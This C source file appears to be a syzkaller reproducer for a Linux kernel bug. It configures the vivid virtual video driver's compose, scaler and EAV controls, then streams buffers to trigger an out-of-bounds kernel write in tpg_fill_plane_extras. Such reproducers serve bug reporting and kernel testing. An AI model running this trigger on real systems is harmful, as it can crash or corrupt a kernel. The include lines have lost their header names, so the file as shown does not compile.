// https://syzkaller.appspot.com/bug?id=0f1ec7ff36ae4cc049910eb79d39ebb6f5c20249 #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #ifndef VIVID_CID_VIVID_BASE #define VIVID_CID_VIVID_BASE (0x00f00000 | 0xf000) #endif #ifndef VIVID_CID_INSERT_EAV #define VIVID_CID_INSERT_EAV (VIVID_CID_VIVID_BASE + 7) #endif #ifndef VIVID_CID_HAS_COMPOSE_CAP #define VIVID_CID_HAS_COMPOSE_CAP (VIVID_CID_VIVID_BASE + 32) #endif #ifndef VIVID_CID_HAS_SCALER_CAP #define VIVID_CID_HAS_SCALER_CAP (VIVID_CID_VIVID_BASE + 33) #endif #ifndef V4L2_SEL_TGT_COMPOSE #define V4L2_SEL_TGT_COMPOSE 0x0100 #endif #ifndef V4L2_CAP_TOUCH #define V4L2_CAP_TOUCH 0x10000000 #endif int main(void) { setvbuf(stdout, NULL, _IONBF, 0); printf("[+] Starting reproducer for KASAN vmalloc-out-of-bounds in tpg_fill_plane_extras...\n"); int vivid_fd = -1; char vivid_path[64] = {0}; /* 1. Find vivid capture device node */ for (int i = 0; i < 32; i++) { char devname[64]; snprintf(devname, sizeof(devname), "/dev/video%d", i); int fd = open(devname, O_RDWR); if (fd < 0) { continue; } struct v4l2_capability cap; memset(&cap, 0, sizeof(cap)); int res = ioctl(fd, VIDIOC_QUERYCAP, &cap); if (res < 0) { int c_res = close(fd); if (c_res < 0) { printf("[-] Failed to close %s: %s\n", devname, strerror(errno)); exit(1); } continue; } if (strcmp((char *)cap.driver, "vivid") == 0 && (cap.device_caps & V4L2_CAP_VIDEO_CAPTURE) && !(cap.device_caps & V4L2_CAP_TOUCH)) { vivid_fd = fd; snprintf(vivid_path, sizeof(vivid_path), "%s", devname); printf("[+] Found vivid capture device %s (device_caps=0x%08x)\n", devname, cap.device_caps); break; } int c_res = close(fd); if (c_res < 0) { printf("[-] Failed to close %s: %s\n", devname, strerror(errno)); exit(1); } } if (vivid_fd < 0) { printf("[-] Vivid video capture device not found among /dev/video0..31\n"); exit(1); } /* 2. Switch input to TV (input 1) to enable composer/scaler */ int input = 1; int res = ioctl(vivid_fd, VIDIOC_S_INPUT, &input); if (res < 0) { printf("[-] Failed ioctl(VIDIOC_S_INPUT, 1): %s\n", strerror(errno)); exit(1); } printf("[+] ioctl(VIDIOC_S_INPUT, 1) successful.\n"); /* 3. Enable compose and scaler capabilities via vivid controls */ struct v4l2_control ctrl; memset(&ctrl, 0, sizeof(ctrl)); ctrl.id = VIVID_CID_HAS_COMPOSE_CAP; ctrl.value = 1; res = ioctl(vivid_fd, VIDIOC_S_CTRL, &ctrl); if (res < 0) { printf("[-] Failed ioctl(VIDIOC_S_CTRL, HAS_COMPOSE_CAP): %s\n", strerror(errno)); exit(1); } printf("[+] ioctl(VIDIOC_S_CTRL, HAS_COMPOSE_CAP) successful.\n"); memset(&ctrl, 0, sizeof(ctrl)); ctrl.id = VIVID_CID_HAS_SCALER_CAP; ctrl.value = 1; res = ioctl(vivid_fd, VIDIOC_S_CTRL, &ctrl); if (res < 0) { printf("[-] Failed ioctl(VIDIOC_S_CTRL, HAS_SCALER_CAP): %s\n", strerror(errno)); exit(1); } printf("[+] ioctl(VIDIOC_S_CTRL, HAS_SCALER_CAP) successful.\n"); /* 4. Enable Insert EAV Code control */ memset(&ctrl, 0, sizeof(ctrl)); ctrl.id = VIVID_CID_INSERT_EAV; ctrl.value = 1; res = ioctl(vivid_fd, VIDIOC_S_CTRL, &ctrl); if (res < 0) { printf("[-] Failed ioctl(VIDIOC_S_CTRL, INSERT_EAV): %s\n", strerror(errno)); exit(1); } printf("[+] ioctl(VIDIOC_S_CTRL, INSERT_EAV) successful.\n"); /* 5. Set pixel format: 256x192 YUV420 (sizeimage = 73,728 bytes = exactly 18 pages) */ struct v4l2_format fmt; memset(&fmt, 0, sizeof(fmt)); fmt.type = V4L2_BUF_TYPE_VIDEO_CAPTURE; fmt.fmt.pix.width = 256; fmt.fmt.pix.height = 192; fmt.fmt.pix.pixelformat = V4L2_PIX_FMT_YUV420; fmt.fmt.pix.field = V4L2_FIELD_NONE; res = ioctl(vivid_fd, VIDIOC_S_FMT, &fmt); if (res < 0) { printf("[-] Failed ioctl(VIDIOC_S_FMT): %s\n", strerror(errno)); exit(1); } printf("[+] ioctl(VIDIOC_S_FMT) successful: %ux%u format=0x%08x sizeimage=%u\n", fmt.fmt.pix.width, fmt.fmt.pix.height, fmt.fmt.pix.pixelformat, fmt.fmt.pix.sizeimage); /* 6. Set compose selection to bottom-right corner */ struct v4l2_selection sel; memset(&sel, 0, sizeof(sel)); sel.type = V4L2_BUF_TYPE_VIDEO_CAPTURE; sel.target = V4L2_SEL_TGT_COMPOSE; sel.r.left = 240; sel.r.top = 176; sel.r.width = 16; sel.r.height = 16; res = ioctl(vivid_fd, VIDIOC_S_SELECTION, &sel); if (res < 0) { printf("[-] Failed ioctl(VIDIOC_S_SELECTION): %s\n", strerror(errno)); exit(1); } printf("[+] ioctl(VIDIOC_S_SELECTION) successful: compose rect = (%d, %d, %u, %u)\n", sel.r.left, sel.r.top, sel.r.width, sel.r.height); /* 7. Request MMAP buffers */ struct v4l2_requestbuffers req; memset(&req, 0, sizeof(req)); req.count = 2; req.type = V4L2_BUF_TYPE_VIDEO_CAPTURE; req.memory = V4L2_MEMORY_MMAP; res = ioctl(vivid_fd, VIDIOC_REQBUFS, &req); if (res < 0) { printf("[-] Failed ioctl(VIDIOC_REQBUFS): %s\n", strerror(errno)); exit(1); } printf("[+] ioctl(VIDIOC_REQBUFS) successful, count = %u\n", req.count); /* 8. Query, mmap, and enqueue buffers */ for (unsigned int i = 0; i < req.count; i++) { struct v4l2_buffer buf; memset(&buf, 0, sizeof(buf)); buf.type = V4L2_BUF_TYPE_VIDEO_CAPTURE; buf.memory = V4L2_MEMORY_MMAP; buf.index = i; res = ioctl(vivid_fd, VIDIOC_QUERYBUF, &buf); if (res < 0) { printf("[-] Failed ioctl(VIDIOC_QUERYBUF, index=%u): %s\n", i, strerror(errno)); exit(1); } void *ptr = mmap(NULL, buf.length, PROT_READ | PROT_WRITE, MAP_SHARED, vivid_fd, buf.m.offset); if (ptr == MAP_FAILED) { printf("[-] Failed mmap(buf index=%u, length=%u): %s\n", i, buf.length, strerror(errno)); exit(1); } res = ioctl(vivid_fd, VIDIOC_QBUF, &buf); if (res < 0) { printf("[-] Failed ioctl(VIDIOC_QBUF, index=%u): %s\n", i, strerror(errno)); exit(1); } printf("[+] Buffer %u mapped at %p (length=%u) and queued.\n", i, ptr, buf.length); } /* 9. Start streaming to trigger vivid capture kthread to call vivid_fillbuff */ enum v4l2_buf_type btype = V4L2_BUF_TYPE_VIDEO_CAPTURE; res = ioctl(vivid_fd, VIDIOC_STREAMON, &btype); if (res < 0) { printf("[-] Failed ioctl(VIDIOC_STREAMON): %s\n", strerror(errno)); exit(1); } printf("[+] ioctl(VIDIOC_STREAMON) successful. Waiting for kthread to trigger bug...\n"); /* 10. Wait for vivid capture kthread to tick and trigger out-of-bounds write */ sleep(2); printf("[+] Finished waiting. Bug should have triggered.\n"); return 0; }